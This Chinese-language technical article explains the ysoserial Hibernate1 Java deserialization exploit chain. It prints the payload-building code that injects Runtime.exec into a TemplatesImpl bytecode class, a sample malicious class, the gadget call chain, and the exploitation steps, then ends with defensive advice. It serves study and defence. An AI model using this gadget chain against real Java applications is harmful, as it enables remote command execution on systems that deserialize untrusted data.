Java反序列化系列ysoserial Hibernate1
字数 1522 2025-08-15 21:31:09
Java反序列化漏洞分析:ysoserial Hibernate1利用链详解
一、Hibernate框架简介
Hibernate是一个开源的ORM(对象关系映射)框架,主要特点包括:
- 对JDBC进行轻量级对象封装
- 将POJO与数据库表建立映射关系
- 自动生成并执行SQL语句
- 可在任何使用JDBC的场合应用(客户端程序、Servlet/JSP、EJB架构等)
二、Java动态字节码生成技术
1. 技术背景
Java程序通常需要将.java文件编译为.class字节码文件。动态字节码生成技术允许在运行时直接操作或生成.class文件内容。
2. 实现方式
ASM
- 直接操作字节码指令
- 执行效率高
- 要求使用者熟悉Java类字节码格式及指令
Javassist
- 提供高级API,使用更简单
- 执行效率相对较低
- 无需掌握字节码指令知识
- 通过Maven引入:
<dependency>
<groupId>org.javassist</groupId>
<artifactId>javassist</artifactId>
<version>3.19.0-GA</version>
</dependency>
3. Javassist核心类
- ClassPool:基于HashMap实现的CtClass对象容器
- CtClass:表示一个类
- CtMethod:表示类中的方法
- CtField:表示类中的字段
4. 动态生成类示例
public class JavassisTest1 {
public static void main(String[] args) {
ClassPool pool = ClassPool.getDefault();
Loader loader = new Loader(pool);
CtClass ct = pool.makeClass("JavassistTestResult"); // 创建类
ct.setInterfaces(new CtClass[]{pool.makeInterface("java.io.Serializable")}); // 实现Serializable接口
try {
// 添加字段
CtField f = new CtField(CtClass.intType, "id", ct);
f.setModifiers(AccessFlag.PUBLIC);
ct.addField(f);
// 添加构造函数
CtConstructor constructor = CtNewConstructor.make(
"public GeneratedClass(int pId){this.id=pId;}", ct);
ct.addConstructor(constructor);
// 添加方法
CtMethod helloM = CtNewMethod.make(
"public void hello(String des){ System.out.println(des);}", ct);
ct.addMethod(helloM);
// 保存到磁盘
ct.writeFile("/path/to/save/");
// 加载并使用生成的类
Class c = loader.loadClass("JavassistTestResult");
Constructor constructor1 = c.getDeclaredConstructor(int.class);
Object object = constructor1.newInstance(1);
} catch (Exception e) {
e.printStackTrace();
}
}
}
三、Hibernate1漏洞利用链分析
1. 核心Payload构造
关键方法:Gadgets.createTemplatesImpl()
public static <T> T createTemplatesImpl(final String command, Class<T> tplClass,
Class<?> abstTranslet, Class<?> transFactory) throws Exception {
final T templates = tplClass.newInstance();
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(new ClassClassPath(StubTransletPayload.class));
pool.insertClassPath(new ClassClassPath(abstTranslet));
// 获取并修改StubTransletPayload类
final CtClass clazz = pool.get(StubTransletPayload.class.getName());
String cmd = "java.lang.Runtime.getRuntime().exec(\"" + command.replaceAll("\"", "\\\"") + "\");";
clazz.makeClassInitializer().insertAfter(cmd); // 插入静态代码块
// 设置随机类名
clazz.setName("ysoserial.Pwner" + System.nanoTime());
final byte[] classBytes = clazz.toBytecode();
// 注入字节码到TemplatesImpl实例
Reflections.setFieldValue(templates, "_bytecodes", new byte[][] { classBytes, ClassFiles.classAsBytes(Foo.class) });
Reflections.setFieldValue(templates, "_name", "Pwnr");
Reflections.setFieldValue(templates, "_tfactory", transFactory.newInstance());
return templates;
}
2. 生成的恶意类结构
package ysoserial;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.io.Serializable;
public class Pwner1587535724799618000 extends AbstractTranslet implements Serializable {
private static final long serialVersionUID = -5971610431559700674L;
public Pwner1587535724799618000() { }
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException { }
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException { }
static {
Object var1 = null;
Runtime.getRuntime().exec("open /Applications/Calculator.app"); // 恶意代码
}
}
3. 利用链关键点
-
触发点:HashMap的readObject方法
-
核心调用链:
- HashMap.readObject()
→ TypedValue.hashCode()
→ ValueHolder.getValue()
→ 匿名内部类.initialize()
→ ComponentType.getHashCode()
→ PojoComponentTuplizer.getPropertyValue()
→ BasicPropertyAccessor$BasicGetter.get()
→ TemplatesImpl.getOutputProperties()
→ TemplatesImpl.newTransformer()
→ TemplatesImpl.getTransletInstance()
→ 恶意类._class[0].newInstance()
- HashMap.readObject()
-
关键条件:
- HashMap的size属性必须被正确设置
- TemplatesImpl的_name属性不能为空
- _bytecodes属性必须包含恶意类的字节码
4. 完整利用流程
- 使用Javassist动态生成包含恶意静态代码块的类
- 将该类字节码存入TemplatesImpl的_bytecodes属性
- 设置TemplatesImpl的_name和_tfactory属性
- 构造包含TypedValue对象的HashMap
- 序列化该HashMap对象
- 反序列化时触发整个调用链
- 最终通过TemplatesImpl加载并实例化恶意类,执行静态代码块中的命令
四、防御建议
- 避免反序列化不可信数据
- 使用安全的反序列化工具或白名单机制
- 更新Hibernate及相关库到最新版本
- 使用SecurityManager限制敏感操作
- 监控和过滤包含危险特征的序列化数据
五、总结
Hibernate1利用链结合了多种技术:
- 动态字节码生成(Javassist)
- Hibernate核心组件的反射调用
- TemplatesImpl的类加载机制
- HashMap的反序列化特性
理解该漏洞需要对Java序列化机制、Hibernate框架实现和动态字节码技术有深入认识。防御此类漏洞需要从数据源控制、运行环境加固和代码审计等多方面入手。